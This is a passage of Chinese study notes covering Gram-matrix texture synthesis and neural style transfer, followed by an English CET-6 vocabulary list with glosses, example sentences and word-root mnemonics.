即,将每个通道的特征图展平为向量,得到矩阵 \( F_{\text{flat}} \in \mathbb{R}^{C \times (H \times W)} \)。
然后计算Gram Matrix:
其中 \( G_{i,j} \) 表示第 \( i \) 个通道与第 \( j \) 个通道在所有空间位置上的相关性。
Gram Matrix 编码了不同通道特征之间的 协方差 ,反映哪些特征倾向于同时激活。通过展平特征图,Gram Matrix 仅保留通道间的统计特性,更适合表示全局风格(如纹理、颜色分布)。
通过Gram Matrix生成纹理图像的步骤:
预训练CNN模型:
- 使用在ImageNet上预训练好的CNN模型(如VGG-19)作为特征提取器
提取原始纹理特征:
- 将原始纹理图像输入CNN
-
记录CNN各层的激活值(特征图)
-
每一层的特征表示为 \(\mathbf{F}^l \in \mathbb{R}^{C_l \times H_l \times W_l}\)
计算原始纹理的Gram矩阵:
- 对每一层的特征图计算Gram矩阵
- Gram矩阵计算公式:\(G^l_{c,c'} = \sum_{h,w} F^l_{c,h,w} F^l_{c',h,w}\)
初始化生成图像:
- 从随机噪声开始(通常是白噪声)
迭代优化过程:
- 将当前生成的图像输入CNN
- 计算生成图像在各层的特征图和Gram矩阵
计算损失函数:
- 计算生成图像与原始纹理图像在各层Gram矩阵之间的L2距离
- 损失函数:\(E_l = \frac{1}{4N_l^2M_l^2} \sum_{c,c'} (G^l_{c,c'} - G'^l_{c,c'})^2\)
- 总损失:\(L = \sum_l w_l E_l\),其中 \(w_l\) 是每层的权重
梯度下降更新:
- 通过反向传播计算损失函数对生成图像的梯度
- 根据梯度更新生成图像
重复迭代:
- 重复步骤5-7,直到生成图像稳定或达到预设迭代次数
从更高层重建纹理可以恢复输入纹理中的较大特征
Neural Style Transfer¶
神经风格迁移(Neural Style Transfer)是一种基于深度学习的图像生成技术,通过将内容图像和风格图像的特征进行融合,生成具有艺术风格的图像。
有两个输入,一个是内容图像(content image),一个是风格图像(style image)。
将特征与内容图像进行匹配,将Gram Matrix与风格图像进行匹配,然后进行优化,使得生成图像既具有内容图像的内容,又具有风格图像的风格。
即同时结合feature reconstruction和texture synthesis。
通过调整两者结合的权重,可以生成不同风格的图像,更加写实还是更加抽象。
语言学习
外语学习¶
约 28 个字 预计阅读时间不到 1 分钟
这里存放一些外语学习笔记,虽然目前只有英语。
CET6 Words¶
约 10076 个字 预计阅读时间 35 分钟
PART 1¶
barren
- adj.
- 贫瘠的,不毛的,不孕不育的
- 没有效果的
Eg
The barren land was a source of great frustration.
这片贫瘠的土地让我感到非常沮丧。
spot
- n.
- 斑点,污渍,脏点
- 粉刺,脓包
- 地点,场所
- 机会,时机
- 一点,一点儿
- v.
- 看见,注意到,发现
Eg
There was a spot on his face.
他脸上有一个脏点。
bleak
- adj.
- 荒凉的, 阴冷的
- 没有希望的, 凄凉的
Eg
The landscape was bleak and desolate.
景色荒凉而凄凉。
leak
- n.
- 漏洞, 漏出, 泄漏
- 漏出物, 漏出量
- v.
- 漏, 渗漏
- 泄露, 透露
Eg
There was a leak in the roof.
屋顶有个漏洞。
The company tried to prevent any leaks of confidential information.
公司试图防止任何机密信息的泄露。
humid
- adj.
- 潮湿的, 湿润的
Eg
The air was humid and sticky.
空气潮湿而粘稠。
hum当词根有泥土的意思.humble可以理解为贴近泥土,有谦卑的意思
regulate
- v.
- 管理, 控制, 调节
- 使规则化, 使有秩序
其名词形式为regulation,指规则,法规,ragular为规则的,有规律的
Eg
The government regulates the financial industry to prevent fraud.
政府管理金融行业以防止欺诈。
The thermostat regulates the temperature in the house.
恒温器调节房子的温度。
summit
- n.
- 顶点, 最高点
- 峰会, 最高级会议
Eg
They reached the summit of the mountain after a grueling climb.
经过艰苦的攀登,他们到达了山顶。
The leaders met at the summit to discuss global issues.
领导人在峰会上会面讨论全球问题。
mit当词根有send的意思,例如transmit为传递的意思,submit为提交的意思
defend
- v.
- 防御, 保卫
- 为...辩护, 维护
其名词形式为defense,指防御, 防卫,defender为防御者, 辩护者
Eg
The soldiers defended the castle from the invaders.
士兵们保卫城堡免受入侵者的攻击。
She defended her thesis during the oral examination.
她在口试中为她的论文辩护。
fend当词根有击打,推,撞击的意思,例如offend为冒犯
protest
-
v.
- 抗议, 反对
- 申明, 声明
-
n.
- 抗议, 反对
Idea
protest,提前考试,有意思哈,必须抗议!!!
其名词形式为protestation,指抗议, 声明,protester为抗议者, 反对者
Eg
The workers protested against the unfair labor practices.
工人们抗议不公平的劳动惯例。
She protested her innocence during the trial.
她在审判期间申明她的清白。
detest 为憎恶,厌恶的意思,contest为争论,竞争的意思
sue
- v.
- 控告, 起诉
- 请求, 恳求
其名词形式为suit,指诉讼,起诉,suitor为起诉者, 求婚者
Eg
She decided to sue the company for wrongful termination.
她决定起诉公司非法解雇。
He sued for peace after the long conflict.
在长期冲突后,他请求和平。
pursue 为追求,追赶的意思,ensue为接着发生的意思
versus
- prep.
- 对抗, 与...相对
Eg
The upcoming match is Team A versus Team B.
即将到来的比赛是A队对抗B队。
The court case was plaintiff versus defendant.
这场诉讼是原告对被告。
其缩写形式为vs.,常用于体育比赛和法律案件中。
compulsory
- adj.
- 强制的, 必须做的
Eg
Education is compulsory for children in many countries.
在许多国家,教育是强制性的。
Wearing a seatbelt is compulsory in most vehicles.
在大多数车辆中,系安全带是强制性的。
其名词形式为compulsion,指强制,强迫,compulsorily为副词形式,表示强制地。
institute
-
n.
- 机构, 学院, 研究所
- 协会, 学会
-
v.
- 建立, 设立, 制定
Eg
The institute offers various programs in science and technology.
该研究所提供各种科学和技术课程。
They decided to institute new policies to improve efficiency.
他们决定制定新政策以提高效率。
其名词形式为institution,指机构,制度,institutional为形容词形式,表示制度的,机构的。
in表示进入,词根时stitut时是sta(=stand)的变体,表示站立,建立的意思
MIT(Massachusetts Institute of Technology)麻省理工学院
substitute 为替代品(n),代替(v)的意思(在下面站着)
proficient
- adj.
- 熟练的, 精通的
Eg
She is proficient in several languages.
她精通几种语言。
He is a proficient programmer.
他是一名熟练的程序员。
其名词形式为proficiency,指熟练,精通,proficiently为副词形式,表示熟练地,精通地。
pro-表示向前,词根'ficient'表示有能力的,能够的意思,早就能够了,很熟练了
deficiency 为缺乏,不足,deficient为形容词形式,表示缺乏的,不足的
efficiency 为效率,efficient为形容词形式,表示效率高的,有效的
artificially 为人工的,artificial为形容词形式,表示人工的,人造的
refer
- v.
- 提到, 涉及
- 参考, 查阅
- 归因于
Eg
Please refer to the manual for more information.
请参考手册以获取更多信息。
He often refers to his notes during the lecture.
他在讲座期间经常参考他的笔记。
The term 'refer' can also mean to mention or allude to something.
'refer'这个词也可以表示提到或暗指某事。
其名词形式为reference,指参考,提及,referential为形容词形式,表示参考的,提及的。
re-表示回,词根'fer'表示带来,带回去,表示参考,提到的意思
reference book 参考书
infer 为推断,推论,inferred为推断的,推论的
prefer 为更喜欢,prefer为形容词形式,表示更喜欢的
transfer 为转移,转移,transferred为转移的,转移的
project
- n.
- 项目, 计划
- 工程, 方案
Eg
The team is working on a new project.
团队正在进行一个新项目。
She presented her project to the class.
她向班级展示了她的项目。
The term 'project' can also mean to plan or propose something.
'project'这个词也可以表示计划或提议某事。
其动词形式为project,指计划,设计,projected为形容词形式,表示计划的,设计的。
pro-表示向前,词根'ject'表示投掷,向前投掷,表示计划,设计的意思
projection 投影,预测
object 为物体,目标,objected为反对的,反对的
subject 为主题,科目,subjected为服从的,受制的
reject 为拒绝,拒绝,rejected为被拒绝的,被拒绝的
prior
- adj.
- 先前的, 之前的
- 优先的, 更重要的
Eg
She had a prior engagement and couldn't attend the meeting.
她有一个先前的约会,不能参加会议。
The project was given prior approval.
该项目得到了事先批准。
The term 'prior' can also mean something that is more important or takes precedence.
'prior'这个词也可以表示更重要的或优先的事物。
其副词形式为priorly,指先前地,之前地。
pri-表示在前
priority 优先权,优先事项
prioritize 为优先考虑,优先处理
posterior 为后面的,较后的
superior 为更好的,上级的
inferior 为较差的,下级的
renovation
- n.
- 翻新, 修复
- 革新, 改造
Eg
The building is closed for renovation.
这栋建筑因翻新而关闭。
The company is undergoing a major renovation of its management structure.
该公司正在对其管理结构进行重大改造。
The term 'renovation' can also refer to the process of making something new again or restoring it to a better state.
'renovation'这个词也可以指使某物焕然一新或恢复到更好状态的过程。
其动词形式为renovate,指翻新,修复。
re-表示再次,nov-表示新的
innovate 创新,革新
innovation 创新,革新
novel 新颖的,新奇的
novelty 新奇,新颖
visualize
- v.
- 使形象化, 使可视化
- 想象, 设想
Eg
The architect used software to visualize the new building design.
建筑师使用软件来使新建筑设计可视化。
She tried to visualize the scene in her mind.
她试图在脑海中想象那个场景。
The term 'visualize' can also refer to the process of forming a mental image or making something visible.
'visualize'这个词也可以指形成心象或使某物可见的过程。
其名词形式为visualization,指可视化,形象化。
vis-表示看见
vision 视力,视觉
visible 可见的,看得见的
invisible 看不见的,隐形的
visual 视觉的,视力的
visualization 可视化,形象化
supervise 监督,监督,supervised为监督的,监督的 (在上面看)
previse 预见,预知,prevised为预见的,预知的(提前看)
revise 修订,修改(再看一遍)
television 电视,电视机,tele-表示远,电视把远的东西传过来
revive
- v.
- 使复活, 使恢复
- 复苏, 重新流行(一般指经济)
Eg
The doctor managed to revive the patient after the cardiac arrest.
医生在心脏骤停后设法使病人复活。
The old tradition is starting to revive in the community.
这个古老的传统在社区里开始重新流行。
The term 'revive' can also refer to bringing something back into use or popularity.
'revive'这个词也可以指使某物重新使用或流行。
其名词形式为revival,指复活,复兴。
re-表示再,重新
revive 使复活,使恢复
revival 复活,复兴
revivify 使复活,使恢复生气
survive 幸存,存活,survived为幸存的,存活的 (在下面活)
derive 源于,得自,derived为源于的,得自的(从...而来)
arrive 到达,抵达(到达某地)
script
-
n.
- 剧本, 脚本
- 剧本, 剧本
-
v.
- 写, 编写
Eg
The term 'script' can also refer to a written text of a play, movie, or broadcast.
'script'这个词也可以指戏剧、电影或广播的书面文本。
Scripts are essential in the entertainment industry for planning and production.
剧本在娱乐行业中对于规划和制作是必不可少的。
The word 'script' can also refer to handwriting or a particular style of writing.
'script'这个词也可以指手写体或特定的书写风格。
describe 描述,形容
inscribe 铭刻,题词
subscribe 订阅,捐助
ascribe 归因于,归咎于(除了ab-表示否定,a-都表示一再)
default
- adj.
- 默认的, 默认的
- 默认的, 默认的
- v.
- 不履行, 不履行
Eg
The default setting is to turn on the lights when the door is opened.
默认设置是当门打开时打开灯。
The default option is to save the file before closing.
默认选项是保存文件后再关闭。
deceive
- v.
- 欺骗, 蒙骗
- 误导, 使误解
Eg
He tried to deceive his friends about his whereabouts.
他试图欺骗朋友关于他的行踪。
The magician's trick was designed to deceive the audience.
魔术师的把戏是为了欺骗观众。
The term 'deceive' can also mean to cause someone to believe something that is not true.
'deceive'这个词也可以表示使某人相信不真实的事情。
其名词形式为deception,指欺骗,蒙骗,deceptive为形容词形式,表示欺骗性的,误导的。
perceive 感知,察觉,perceived为感知的,察觉的
conceive 构思,设想,conceived为构思的,设想的
receive 接收,收到,received为接收的,收到的
detain
- v.
- 拘留, 扣留
- 耽搁, 延误
Eg
The police decided to detain the suspect for further questioning.
警方决定拘留嫌疑人以便进一步审问。
The unexpected traffic jam will detain us for an hour.
意外的交通堵塞会耽搁我们一个小时。
The term 'detain' can also mean to keep someone from proceeding or to hold back.
'detain'这个词也可以表示阻止某人前进或拖延。
其名词形式为detention,指拘留,扣留,detained为形容词形式,表示被拘留的,被扣留的。
maintain 维持,保持,maintained为维持的,保持的
entertain 娱乐,款待,entertainment 娱乐活动
sustain 维持,支持,sustain为维持的,支持的
retain 保持,保留,retained为保持的,保留的
obtain 获得,取得,obtained为获得的,取得的
attain 达到,获得
guilt
- n.
- 罪行, 罪过
- 内疚, 自责
Eg
The jury found him guilty of the crime.
陪审团认定他有罪。
She felt a deep sense of guilt after lying to her friend.
她在对朋友撒谎后感到深深的内疚。
The term 'guilt' can also refer to a feeling of responsibility or remorse for some offense, crime, or wrong.
'guilt'这个词也可以指对某些罪行、犯罪或错误的责任感或悔恨。
其形容词形式为guilty,表示有罪的,内疚的。
反义词innocent为无罪的
outrage
-
n.
- 愤怒, 义愤
- 暴行, 侮辱
-
v.
- 激怒, 使愤怒
Eg
The news of the scandal caused public outrage.
丑闻的消息引起了公众的愤怒。
The brutal attack was an outrage against humanity.
这次残忍的袭击是对人类的暴行。
The term 'outrage' can also refer to an act that causes great anger or shock.
'outrage'这个词也可以指引起极大愤怒或震惊的行为。
其形容词形式为outraged,表示愤怒的,义愤填膺的。
反义词为calm,表示平静的。
rebel
-
n.
- 反叛者, 叛逆者
- 反抗者
-
v.
- 反叛, 造反
- 反抗, 抵抗
Eg
The rebels took control of the capital.
反叛者控制了首都。
She rebelled against the strict rules imposed by her parents.
她反抗父母施加的严格规定。
The term 'rebel' can also refer to someone who resists authority, control, or tradition.
'rebel'这个词也可以指抵抗权威、控制或传统的人。
其形容词形式为rebellious,表示反叛的,叛逆的。
terror
- n.
- 恐怖, 恐惧
- 恐怖活动, 恐怖主义
Eg
The mere thought of the haunted house filled her with terror.
一想到鬼屋,她就充满了恐惧。
The city was in a state of terror after the series of attacks.
一系列袭击后,城市处于恐怖状态。
The term 'terror' can also refer to extreme fear or the use of violence to intimidate people.
'terror'这个词也可以指极度的恐惧或使用暴力来恐吓人们。
verdict
- n.
- 裁决, 判决
- 定论, 结论
Eg
The jury reached a unanimous verdict of 'not guilty'.
陪审团达成了一致的'无罪'裁决。
The judge's verdict was based on the evidence presented in court.
法官的判决是基于法庭上提供的证据。
The term 'verdict' can also refer to an opinion or judgment about something.
'verdict'这个词也可以指对某事的意见或判断。
blast
-
n.
- 爆炸, 爆破
- 一阵强风, 冲击波
-
v.
- 爆炸
Eg
The blast from the explosion shattered all the windows in the building.
爆炸的冲击波震碎了大楼的所有窗户。
A cold blast of air hit her as she opened the door.
当她打开门时,一阵冷风袭来。
The term 'blast' can also refer to a loud noise or an enjoyable experience.
'blast'这个词也可以指巨响或一次愉快的经历。
emergency
- n.
- 紧急情况, 突发事件
- 紧急状态
Eg
The hospital is equipped to handle any kind of emergency.
医院配备了处理任何紧急情况的设备。
In case of an emergency, please call 911 immediately.
如果发生紧急情况,请立即拨打911。
The term 'emergency' can also refer to a situation that requires immediate action or attention.
'emergency'这个词也可以指需要立即采取行动或注意的情况。
其形容词形式为emergent,表示紧急的,突发的。
emerge 出现,浮现,emerged为出现的,浮现的
urgent 紧急的,急迫的
urgency 紧急,急迫
misfortune
- n.
- 不幸, 灾难
- 厄运, 倒霉
Eg
He had the misfortune of losing his job during the economic downturn.
他在经济衰退期间失去了工作,真是不幸。
The family's misfortune seemed to never end.
这个家庭的不幸似乎永无止境。
The term 'misfortune' can also refer to an event or circumstance that brings bad luck or adversity.
'misfortune'这个词也可以指带来厄运或逆境的事件或情况。
其形容词形式为unfortunate,表示不幸的,倒霉的。
fortune 运气,财富,fortunate为幸运的,幸运的
mis-表示错误,坏的
misadventure 意外事故,不幸遭遇
mishap 小事故,不幸事件
urgent
- adj.
- 紧急的, 急迫的
- 迫切的, 紧要的
Eg
The situation requires urgent attention.
这种情况需要紧急关注。
She sent an urgent message to her team.
她给她的团队发了一条紧急消息。
The term 'urgent' can also refer to something that needs immediate action or attention.
'urgent'这个词也可以指需要立即行动或关注的事情。
其名词形式为urgency,指紧急,急迫。
urge 催促,推动,urged为催促的,推动的
emergency 紧急情况,紧急事件
pressing 紧迫的,迫切的
immediate 立即的,直接的
bankrupt
-
adj.
- 破产的, 无力偿还债务的
- 完全缺乏的, 贫困的
-
n.
- 破产者, 无力偿还债务者
-
v.
- 使破产, 使无力偿还债务
Eg
The company went bankrupt after years of financial struggles.
该公司在多年财务困难后破产了。
He was declared bankrupt by the court.
他被法院宣布破产。
The term 'bankrupt' can also refer to a person or entity that is completely lacking in a particular quality or value.
'bankrupt'这个词也可以指完全缺乏某种特质或价值的人或实体。
其名词形式为bankruptcy,指破产,倒闭。
bank 作为词根表示银行,财务
rupt 表示破裂,断裂
disrupt 破坏,扰乱
interrupt 打断,中断
corrupt 腐败的,堕落的
deposit
-
n.
- 存款, 定金
- 沉积物, 矿床
-
v.
- 存放, 存储
- 沉积, 堆积
Eg
She made a deposit of $500 into her savings account.
她在她的储蓄账户中存入了500美元。
The river deposits silt along its banks.
这条河在河岸上沉积淤泥。
The term 'deposit' can also refer to a layer of material that has been laid down naturally.
'deposit'这个词也可以指自然沉积的一层物质。
其名词形式为deposition,指沉积,沉积物。
de 表示向下,离开
posit 表示放置
decompose 分解,腐烂
dispose 处理,处置
expose 暴露,揭露(be exposed to 暴露于,接触到)
propose 求婚,建议
compose 组成,构成
impose 强加,征税
guarantee
-
n.
- 保证, 担保
- 保修单, 保证书
-
v.
- 保证, 担保
- 确保, 使...必然发生
Eg
The company offers a money-back guarantee if the product doesn't work.
如果产品不起作用,公司提供退款保证。
I guarantee that you will be satisfied with the results.
我保证你会对结果满意。
The warranty guarantees the product against defects for one year.
保修单保证产品一年内无缺陷。
其名词形式为guarantor,指担保人。
guar 表示保护,保卫
antee 表示行动或状态
guard 守卫,保卫
warranty 保修,保证
assure 确保,保证
ensure 确保,保证
secure 安全的,确保
fund
-
n.
- 资金, 基金
- 专款, 现款
-
v.
- 提供资金, 资助
- 投资, 资助
Eg
The government allocated funds for the new infrastructure project.
政府为新的基础设施项目拨款。
She decided to fund the startup with her savings.
她决定用她的积蓄资助这家初创公司。
The term 'fund' can also refer to a sum of money saved or made available for a particular purpose.
'fund'这个词也可以指为特定目的储存或提供的一笔资金。
其名词形式为funding,指资金,资助。
fundamental 基本的,基础的
refund 退款,退还
defund 撤资,停止资助
fundraiser 募捐活动,筹款人
export
- v.
- 出口, 输出
- 传播, 输出
Eg
The country exports a large amount of oil.
这个国家出口大量石油。
The software allows users to export data to various formats.
该软件允许用户将数据导出为各种格式。
The term 'export' can also refer to the act of sending goods or services to another country for sale.
'export'这个词也可以指将商品或服务发送到另一个国家进行销售的行为。
其名词形式为exportation,指出口,输出,exporter为名词形式,表示出口商。
ex-表示向外,port表示港口,向外运到港口,表示出口的意思
import 进口,输入
transport 运输,运送
support 支持,支撑
report 报告,汇报
manufacturer
- n.
- 制造商, 生产者
- 厂商, 制造公司
Eg
The manufacturer produces high-quality electronics.
该制造商生产高质量的电子产品。
The term 'manufacturer' can also refer to a company or person that makes goods for sale.
'manufacturer'这个词也可以指制造商品以供销售的公司或个人。
mortgage
- n.
- 抵押贷款, 按揭
- 抵押
Eg
They took out a mortgage to buy their house.
他们办理了抵押贷款来买房。
The term 'mortgage' can also refer to the legal agreement by which a bank lends money in exchange for taking title of the debtor's property.
'mortgage'这个词也可以指银行通过借款协议获得债务人财产所有权的法律协议。
pension
- n.
- 养老金, 退休金
- 抚恤金
Eg
She lives on her pension after retiring from the company.
她退休后靠养老金生活。
The term 'pension' can also refer to a regular payment made during a person's retirement from an investment fund to which that person or their employer has contributed during their working life.
'pension'这个词也可以指在一个人工作期间由其本人或雇主缴纳的投资基金在其退休期间定期支付的款项。
profit
- n.
- 利润, 收益
- 利润率
Eg
The company made a significant profit last year.
该公司去年获得了可观的利润。
The term 'profit' can also refer to the financial gain, especially the difference between the amount earned and the amount spent in buying, operating, or producing something.
'profit'这个词也可以指财务收益,特别是收入与购买、运营或生产某物的支出之间的差额。
benefit 利益,好处
prosperity
- n.
- 繁荣, 兴旺
- 成功, 昌盛
Eg
The country enjoyed a period of prosperity after the war.
战后该国经历了一段繁荣时期。
The term 'prosperity' can also refer to the state of being successful, especially in financial or economic terms.
'prosperity'这个词也可以指成功的状态,特别是在财务或经济方面。
词根sp表示看,观察
spy 间谍,侦探;suspect 怀疑,猜疑,inspect 检查,视察,respect 尊重,尊敬
prospect 前景,展望, circumspect 小心谨慎的,谨慎的,
spectator 观众,旁观者 speculate 推测,猜测,spectacular 壮观的,引人注目的
perspective 观点,看法,透视,透视图,透视图
conspicuous 引人注目的,显眼的
retrospect 回顾,回顾性
PART 2¶
reclaim
- v.
- 取回, 拿回
- 开垦, 改造
- 回收利用
Eg
She managed to reclaim her lost wallet.
她设法找回了丢失的钱包。
The term 'reclaim' can also refer to the process of retrieving or recovering something previously lost or taken.
'reclaim'这个词也可以指取回或恢复以前丢失或被拿走的东西。
reclaim 取回,拿回,开垦,改造,回收利用
reclaimable 可回收的,可开垦的
reclamation 开垦,改造,回收
proclaim 宣布,宣告
exclaim 惊呼,惊叫
acclaim 喝彩,称赞
declaim 断言,宣称
refine
- v.
- 精炼, 提纯
- 改进, 改善
Eg
The company refined the product to improve its quality.
该公司精炼产品以提高其质量。
The term 'refine' can also refer to the process of improving or enhancing something, especially in terms of quality or purity.
'refine'这个词也可以指改进或提高某物,特别是在质量或纯度方面。
sufficient
- adj.
- 足够的, 充足的
Eg
The food supply was sufficient for the entire village.
食物供应足够整个村庄使用。
The term 'sufficient' can also refer to having enough of something to meet the needs or requirements.
'sufficient'这个词也可以指有足够的东西来满足需求或要求。
rival
- n.
- 竞争对手, 对手
- 敌手, 竞争者
- v.
- 竞争, 对抗
- 与...匹敌, 比得上
Eg
The two companies were fierce rivals in the market.
这两家公司在市场上是激烈的竞争对手。
The term 'rival' can also refer to someone or something that competes with another for the same objective or superiority in the same field.
'rival'这个词也可以指在同一领域中为相同目标或优越性而竞争的人或事物。
stake
- n.
- 桩, 标桩
- 股份, 利害关系
- 赌注, 奖金
- v.
- 用桩支撑, 用桩标出
- 下注, 投资
Eg
He drove a stake into the ground to mark the boundary.
他在地上打了一根桩来标记边界。
The company has a significant stake in the new project.
该公司在新项目中有重要的股份。
The term 'stake' can also refer to a personal or financial interest or involvement in something.
'stake'这个词也可以指在某事中的个人或财务利益或参与。
at stake
- phrase.
- 处于危险中, 处于成败关头
- 有风险, 有可能失去
Eg
The future of the company is at stake.
公司的未来岌岌可危。
There is a lot of money at stake in this venture.
这项风险投资中有大量资金处于危险之中。
The term 'at stake' can also refer to something that is at risk or in a position to be won or lost.
'at stake'这个词也可以指处于风险中或处于成败关头的事物。
subsidy
- n.
- 补贴, 津贴
- 财政资助
Eg
The government provided a subsidy to help the farmers.
政府提供了补贴来帮助农民。
The term 'subsidy' can also refer to financial assistance given by the government to support a specific sector or activity.
'subsidy'这个词也可以指政府为支持特定部门或活动而提供的财政援助。
estate
- n.
- 财产, 资产
- 房地产, 不动产
- 庄园, 庄园住宅
real estate 房地产
Eg
He inherited a large estate from his uncle.
他从叔叔那里继承了一大笔财产。
The real estate market is booming in the city.
该市的房地产市场正在蓬勃发展。
The family owns a beautiful estate in the countryside.
这家人在乡下拥有一个美丽的庄园。
The term 'estate' can also refer to all the money and property owned by a particular person, especially at death.
'estate'这个词也可以指某人拥有的所有钱财和财产,尤其是在去世时。
recede
- v.
- 后退, 退却
- 减弱, 减少
- 变秃
Eg
The floodwaters began to recede after the heavy rain stopped.
暴雨停止后,洪水开始退去。
His hairline has started to recede as he gets older.
随着年龄的增长,他的发际线开始后退。
The pain in his leg gradually receded.
他腿上的疼痛逐渐减轻。
The term 'recede' can also refer to something moving back or becoming less intense.
'recede'这个词也可以指某物后退或变得不那么强烈。
relieve
- v.
- 减轻, 缓解
- 解除, 免除
- 救济, 救援
Eg
The medication helped to relieve the pain.
药物有助于减轻疼痛。
He was relieved of his duties after the incident.
事件发生后,他被免除了职务。
The charity works to relieve poverty in the region.
该慈善机构致力于缓解该地区的贫困。
The term 'relieve' can also refer to making a problem or bad situation less serious.
'relieve'这个词也可以指使问题或糟糕的情况变得不那么严重。
counter
-
n.
- 计数器, 计算器
- 柜台, 柜台式长桌
- 反驳, 反对
-
v.
- 反驳, 反对
-
adv.
- 相反, 相反地
CSGO (Counter-Strike: Global Offensive) 反恐精英:全球攻势
Eg
The counter displayed the number of visitors to the website.
计数器显示了网站的访问者数量。
She placed her order at the counter.
她在柜台下了订单。
His argument was met with a strong counter.
他的论点遭到了强烈的反驳。
The term 'counter' can also refer to something that opposes or goes against something else.
'counter'这个词也可以指反对或对抗某事物。
account 账户, 账目, 解释, 说明 accountant 会计
unaccountable 无法解释的, 不可原谅的
counterpart 对应物, 副本, 对应的人
encounter 遭遇, 遇到
discount 折扣, 打折
wholesale
-
n.
- 批发, 批发业务
- 大规模, 大批量
-
adj.
- 批发的, 大规模的
-
adv.
- 以批发方式, 大规模地
反义词:retail 零售
Eg
The company specializes in the wholesale of electronic goods.
这家公司专门从事电子产品的批发业务。
They bought the goods at wholesale prices.
他们以批发价购买了这些商品。
The policy led to the wholesale destruction of the environment.
这项政策导致了环境的大规模破坏。
The term 'wholesale' can also refer to the selling of goods in large quantities at lower prices.
'wholesale'这个词也可以指以较低价格大批量销售商品。
transact
- v.
- 处理, 办理, 交易
Eg
They decided to transact the business in private.
他们决定私下处理这笔业务。
The bank transacts all its business in a professional manner.
这家银行以专业的方式处理所有业务。
The term 'transact' can also refer to conducting or carrying out business or negotiations.
'transact'这个词也可以指进行或开展业务或谈判。
triple
-
n.
- 三倍, 三重, 三个一组
-
adj.
- 三倍的, 三重的
-
v.
- 使成三倍, 增至三倍
Eg
The company aims to triple its revenue in the next five years.
这家公司计划在未来五年内将收入增加到三倍。
She ordered a triple espresso to stay awake.
她点了一杯三倍浓度的浓缩咖啡以保持清醒。
The term 'triple' can also refer to something that is three times as much or as many.
'triple'这个词也可以指三倍的数量或程度。
radiate
- v.
- 辐射, 发射, 散发
- 流露, 显示
Eg
The sun radiates light and heat.
太阳辐射光和热。
She radiates confidence and charm.
她流露出自信和魅力。
The term 'radiate' can also refer to spreading out in all directions from a central point.
'radiate'这个词也可以指从中心点向各个方向扩散。
spark
-
n.
- 火花, 火星
- 闪光, 闪现
- 导火线, 诱因
-
v.
- 发出火花, 闪烁
- 引发, 激发
Eg
The spark from the firework lit up the night sky.
烟花的火花照亮了夜空。
Her speech sparked a lot of interest in the topic.
她的演讲激发了人们对这个话题的浓厚兴趣。
The term 'spark' can also refer to a small amount of a quality or feeling.
'spark'这个词也可以指少量的某种品质或感觉。
splash
-
n.
- 飞溅, 溅泼
- 溅泼声
- 亮点, 引人注目的效果
-
v.
- 溅, 泼
- 使(液体)飞溅
Eg
The splash of water was refreshing on a hot day.
在炎热的夏天,水的飞溅让人感到清爽。
The artist added a splash of color to the painting.
艺术家在画中添加了一抹亮色。
The term 'splash' can also refer to a prominent or sensational effect.
'splash'这个词也可以指引人注目的效果。
blush 脸红, 羞红
flush 冲洗
assimilate
- v.
- 吸收, 消化
- 同化, 融入
- 理解, 领会
Eg
The immigrants found it difficult to assimilate into the new culture.
移民们发现很难融入新的文化。
The students quickly assimilated the new information.
学生们很快吸收了新信息。
The term 'assimilate' can also refer to the process of fully understanding and integrating new ideas or experiences.
'assimilate'这个词也可以指完全理解和整合新的想法或经历。
append
- v.
- 附加, 添加
Eg
The document was appended with a new section.
文件被添加了一个新部分。
The term 'append' can also refer to adding something to the end of a list or sequence.
'append'这个词也可以指将某物添加到列表或序列的末尾。
suspend 悬挂, 暂停, 中止
alleviate
- v.
- 减轻, 缓和, 缓解
Eg
The medication helped to alleviate the patient's pain.
药物帮助减轻了病人的疼痛。
The government implemented measures to alleviate poverty.
政府采取了措施来缓解贫困。
The term 'alleviate' can also refer to making a problem or suffering less severe.
'alleviate'这个词也可以指使问题或痛苦减轻。
assumption
- n.
- 假设, 设想
- 承担, 承担责任
- 假定, 假装
Eg
The assumption that he would be late proved to be correct.
他会迟到的假设被证明是正确的。
The company's assumption of responsibility for the project was commendable.
该公司对项目责任的承担是值得称赞的。
The term 'assumption' can also refer to something that is accepted as true without proof.
'assumption'这个词也可以指在没有证据的情况下被接受为真的事物。
assure
- v.
- 确保, 保证
- 使确信, 使放心
Eg
He assured her that everything would be fine.
他向她保证一切都会好起来的。
The company assured its customers of the product's quality.
公司向客户保证产品的质量。
The term 'assure' can also refer to making someone feel confident about something.
'assure'这个词也可以指使某人对某事感到有信心。
跟ensure差不多
accelerate
- v.
- 加速, 促进
- 增加, 提高
Eg
The car can accelerate from 0 to 60 mph in just a few seconds.
这辆车可以在几秒钟内从0加速到60英里每小时。
The company plans to accelerate its expansion into new markets.
该公司计划加速其向新市场的扩展。
The term 'accelerate' can also refer to the process of making something happen sooner or faster.
'accelerate'这个词也可以指使某事更快或更早发生的过程。
alter
- v.
- 改变, 修改
- 变更, 变动
Eg
The tailor altered the dress to fit her better.
裁缝修改了这件连衣裙以更好地适合她。
The company decided to alter its marketing strategy.
公司决定改变其营销策略。
The term 'alter' can also refer to making a change to something, usually in a small but significant way.
'alter'这个词也可以指对某物进行改变,通常是小但重要的改变。
alternative 替代品, 选择, 选择之一
reproach
-
n.
- 责备, 指责
- 耻辱, 丢脸
-
v.
- 责备, 指责
Eg
She looked at him with reproach in her eyes.
她用责备的眼神看着他。
His actions brought reproach upon the family.
他的行为给家族带来了耻辱。
The term 'reproach' can also refer to expressing disapproval or disappointment.
'reproach'这个词也可以指表达不满或失望。
accomplish
- v.
- 完成, 实现
- 达到, 实现目标
Eg
She was able to accomplish all her goals for the year.
她能够完成她今年的所有目标。
The team worked hard to accomplish the project on time.
团队努力按时完成了项目。
The term 'accomplish' can also refer to successfully achieving something through effort or skill.
'accomplish'这个词也可以指通过努力或技能成功实现某事。
advocate
-
n.
- 提倡者, 拥护者
- 辩护律师
-
v.
- 提倡, 主张
- 为...辩护
Eg
She is a strong advocate for women's rights.
她是妇女权利的坚定拥护者。
The lawyer advocated for his client's innocence.
律师为他的客户的清白辩护。
The term 'advocate' can also refer to publicly recommending or supporting a particular cause or policy.
'advocate'这个词也可以指公开推荐或支持某个特定的事业或政策。
accuse
- v.
- 指控, 控告
- 谴责, 责备
Eg
He was accused of stealing the money.
他被指控偷了钱。
The manager accused the employee of being late.
经理指责员工迟到。
The term 'accuse' can also refer to charging someone with an offense or crime.
'accuse'这个词也可以指控告某人犯有罪行。
acquire
- v.
- 获得, 得到
- 习得, 学到
Eg
